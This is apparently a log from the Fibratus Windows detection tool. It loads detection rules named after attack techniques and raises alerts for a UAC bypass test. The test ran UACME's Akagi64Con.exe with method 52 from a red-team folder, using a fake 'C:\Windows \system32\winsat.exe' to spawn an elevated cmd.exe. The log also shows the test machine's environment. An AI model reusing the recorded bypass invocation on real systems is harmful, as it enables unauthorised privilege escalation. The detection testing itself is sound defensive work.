source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:25:04+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-22T13:25:04+01:00 level=info msg=bootstrapping with pid 12256. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T13:25:04+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 content-type=>text/html to=>[] enabled=>false use-template=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-registry=>true enable-handle=>false stack-enrichment=>true enable-fileio=>true enable-audit-api=>true enable-threadpool=>false enable-net=>true enable-image=>true enable-dns=>false max-buffers=>36 enable-thread=>true min-buffers=>16 enable-mem=>false enable-vamap=>true flush-interval=>1s buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 max-age=>0 log-stdout=>true level=>info formatter=>text] + output ......................... [ eventlog=>[ enabled=>false level=>info] elasticsearch=>[ healthcheck-timeout=>5s trace-log=>false flush-period=>1s template-name=>fibratus healthcheck=>true timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false index-name=>fibratus sniff=>false bulk-workers=>1 healthcheck-interval=>10s gzip-compression=>false] amqp=>[ passive=>false timeout=>5s url=>amqp://localhost:5672 vhost=>/ tls-insecure-skip-verify=>false durable=>false routing-key=>fibratus exchange-type=>topic exchange=>fibratus enabled=>false delivery-mode=>transient] http=>[ endpoints=>[] enable-gzip=>false serializer=>json enabled=>false method=>POST tls-insecure-skip-verify=>false timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ scan-timeout=>10s skip-files=>false excluded-files=>[] skip-registry=>false skip-mmaps=>false skip-allocs=>false fastscan=>true enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-22T13:25:04+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:25:07+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:25:24+01:00 level=info msg=sending alert: [UAC bypass via trusted Windows directory masquerading]. Text: C:\Users\nedo\AppData\Local\Temp\system32\winsat.exe "C:\Windows \system32\winsat.exe" ["C:\Windows \system32\winsat.exe"] + Event(s): + Seq: 997752 + Pid: 9600 + Tid: 6256 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-22 13:25:10.4651363 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 468276000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff998c3c403080, name➜ conhost.exe, pid➜ 14404, ppid➜ 9600, real_ppid➜ 9600, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-22 13:25:10.4651363 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 1763814525213507308, rule.name: UAC bypass via trusted Windows directory masquerading, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 9600 + Ppid: 16908 + Name: winsat.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows \system32\winsat.exe" + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52 + Exe: C:\Users\nedo\AppData\Local\Temp\system32\winsat.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows \system32\winsat.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-22T13:25:24+01:00 level=info msg=sending alert: [UAC bypass via trusted Windows directory masquerading]. Text: C:\Users\nedo\AppData\Local\Temp\system32\winsat.exe "C:\Windows \system32\winsat.exe" ["C:\Windows \system32\winsat.exe"] + Event(s): + Seq: 999546 + Pid: 9600 + Tid: 6256 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-22 13:25:10.6474656 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 44abdd000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff998c3ced0080, name➜ cmd.exe, pid➜ 17256, ppid➜ 9600, real_ppid➜ 9600, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-22 13:25:10.6473617 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 13260004909790527488, rule.name: UAC bypass via trusted Windows directory masquerading, tactic.id: TA0004 + + Pid: 9600 + Ppid: 16908 + Name: winsat.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows \system32\winsat.exe" + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52 + Exe: C:\Users\nedo\AppData\Local\Temp\system32\winsat.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows \system32\winsat.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-22T13:25:25+01:00 level=info msg=sending alert: [UAC bypass via trusted Windows directory masquerading]. Text: C:\WINDOWS\system32\cmd.exe "C:\WINDOWS\system32\cmd.exe" ["C:\WINDOWS\system32\cmd.exe"] + Event(s): + Seq: 1000318 + Pid: 17256 + Tid: 9828 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-22 13:25:10.6674777 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 455710000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff998c3cece080, name➜ conhost.exe, pid➜ 14748, ppid➜ 17256, real_ppid➜ 17256, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-22 13:25:10.667378 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 13332062503828455424, rule.name: UAC bypass via trusted Windows directory masquerading, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 17256 + Ppid: 9600 + Name: cmd.exe + Parent name: winsat.exe + Cmdline: "C:\WINDOWS\system32\cmd.exe" + Parent cmdline: "C:\Windows \system32\winsat.exe" + Exe: C:\WINDOWS\system32\cmd.exe + Cwd: C:\Windows\System32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\cmd.exe"] + Session ID: 1 + Envs: map[:C:=C:\Windows\System32 ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __COMPAT_LAYER:Installer windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-22T13:25:27+01:00 level=info msg=sending alert: [UAC bypass via trusted Windows directory masquerading]. Text: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52 ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52] + Event(s): + Seq: 997188 + Pid: 16908 + Tid: 12364 + Type: CreateProcess + CPU: 7 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-22 13:25:10.4282286 +0100 CET + Params: cmdline➜ "C:\Windows \system32\winsat.exe" , directory_table_base➜ 4538c4000, domain➜ ARCHRABBIT, exe➜ C:\Users\nedo\AppData\Local\Temp\system32\winsat.exe, exit_status➜ Success, flags➜ , kproc➜ ffff998c307900c0, name➜ winsat.exe, pid➜ 9600, ppid➜ 16908, real_ppid➜ 8384, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-22 13:25:10.4282286 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via trusted Windows directory masquerading, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 1763814525176594424 + + Pid: 16908 + Ppid: 10760 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS 